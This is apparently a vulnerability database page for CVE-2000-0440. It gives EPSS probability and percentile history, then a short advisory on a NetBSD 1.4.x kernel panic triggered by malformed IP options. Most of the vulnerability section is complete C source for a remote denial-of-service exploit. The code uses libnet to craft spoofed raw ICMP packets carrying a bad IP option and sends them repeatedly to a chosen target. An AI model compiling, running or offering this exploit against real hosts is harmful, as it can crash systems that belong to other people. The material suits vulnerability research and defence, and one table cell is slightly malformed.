CVE-2000-0440 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.48%	–	–
2022-02-13	–	–	4.48%	–	–
2022-04-03	–	–	4.48%	–	–
2022-12-25	–	–	4.48%	–	–
2023-01-01	–	–	4.48%	–	–
2023-02-26	–	–	4.48%	–	–
2023-03-12	–	–	–	4.8%	–
2023-06-04	–	–	–	4.8%	–
2024-02-11	–	–	–	3.18%	–
2024-06-02	–	–	–	3.18%	–
2024-06-02	–	–	–	3.18%	–
2024-12-08	–	–	–	3.18%	–
2024-12-22	–	–	–	3.18%	–
2025-01-19	–	–	–	3.18%	–
2025-03-18	–	–	–	–	4.19%
2025-03-18	–	–	–	–	4.19,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	71%
2022-02-13	72%
2022-04-03	88%
2022-12-25	89%
2023-01-01	88%
2023-02-26	89%
2023-03-12	91%
2023-06-04	92%
2024-02-11	91%
2024-06-02	91%
2024-06-02	91%
2024-12-08	92%
2024-12-22	91%
2025-01-19	91%
2025-03-18	88%
2025-03-18	88%

// source: https://www.securityfocus.com/bid/1173/info A vulnerability exists in the 1.4.x NetBSD kernel that may allow remote attackers to cause the machine to kernel panic on certain architectures. By sending a packet to a machine running the Alpha or SPARC versions of NetBSD, with an unaligned IP timestamp option, it is possible to cause the kernel to perform an unaligned memory access. This will cause a panic, causing the machine to reboot. x86 and arm32 platforms have a similar bug. However, as both of these architectures can perform unaligned memory accesses, this vulnerability does not cause them to panic. It was later determined that FreeBSD, a 4.xBSD derivative like NetBSD, is also vulnerable to this problem. #include <stdio.h> #include <libnet.h> /* Remote denial-of-service in IP stack simple exploit by y3t1 y3t1@rast.lodz.pdi.net Gretzzz : rastlin,z33d,vanitas,DYZIU,Kuki,vx,zx,korie,kaneda, d3cker&mroowka,jarv33s,funkySh,Shadow,tmoggie all from : #hwa.hax0r.news@efnet #darnet@efnet */ int rand_n(u_long zakres) { return 1+(int) ((float)zakres*rand()/(RAND_MAX+1.0)); } int main(int argc, char **argv) { char a; int sock, c,pkt,ile; struct hostent *host; u_long src_ip, dst_ip; u_char *buf; u_char options[4]; int option_s = sizeof(options); struct ipoption ipopt; srand(time(NULL)); ile=100; printf(" -= Remote denial-of-service in IP stack =- \n"); printf("\n"); printf(" by y3t1/team140\n"); printf(" y3t1@rast.lodz.pdi.net \n"); printf("\n"); if (argc < 4) { printf("%s -s src_addr -d dst_addr -p packets\n",argv[0]); printf(" -s src_addr - source address \n"); printf(" -d dst_addr - dest address \n"); printf(" -p packets - how many packets send to dest (default 100)\n"); exit(1); } opterr=0; while((a=getopt(argc,argv,"s:d:p:"))!=EOF) { switch(a) { case 's': { if ((host=gethostbyname(optarg))!=NULL) bcopy(host->h_addr,&src_ip,host->h_length); else src_ip=inet_addr(optarg); break; } case 'd': { if ((host=gethostbyname(optarg))!=NULL) bcopy(host->h_addr,&dst_ip,host->h_length); else dst_ip=inet_addr(optarg); break; } case 'p': { ile=atoi(optarg); break; } } } bzero(options,option_s); buf = malloc(IP_MAXPACKET); if (!buf) { perror("malloc"); exit(-1); } sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock == -1) { perror("socket"); exit(-1); } libnet_build_ip(LIBNET_ICMP_H ,0,242,0,48,IPPROTO_ICMP,src_ip,dst_ip,NULL,0,buf); memcpy(ipopt.ipopt_list, options, option_s); *(ipopt.ipopt_list) = IPOPT_RR; *(ipopt.ipopt_list+1) = 3; *(ipopt.ipopt_list+2) = 0xff; *(ipopt.ipopt_list+3) = 0; c = libnet_insert_ipo(&ipopt,option_s,buf); if (c == -1) { printf("Error\n"); exit(1); } libnet_build_icmp_echo(ICMP_ECHO,0,242,31337,NULL,0,buf+LIBNET_IP_H+option_s); if (libnet_do_checksum(buf,IPPROTO_ICMP,LIBNET_ICMP_ECHO_H)==-1) { printf("can't do checksum \n"); } for (pkt=0;pkt<ile;pkt++) { buf[22]=rand_n(0xff); c = libnet_write_ip(sock, buf, LIBNET_ICMP_ECHO_H + LIBNET_IP_H + option_s); } free(buf); libnet_close_raw_sock(sock); }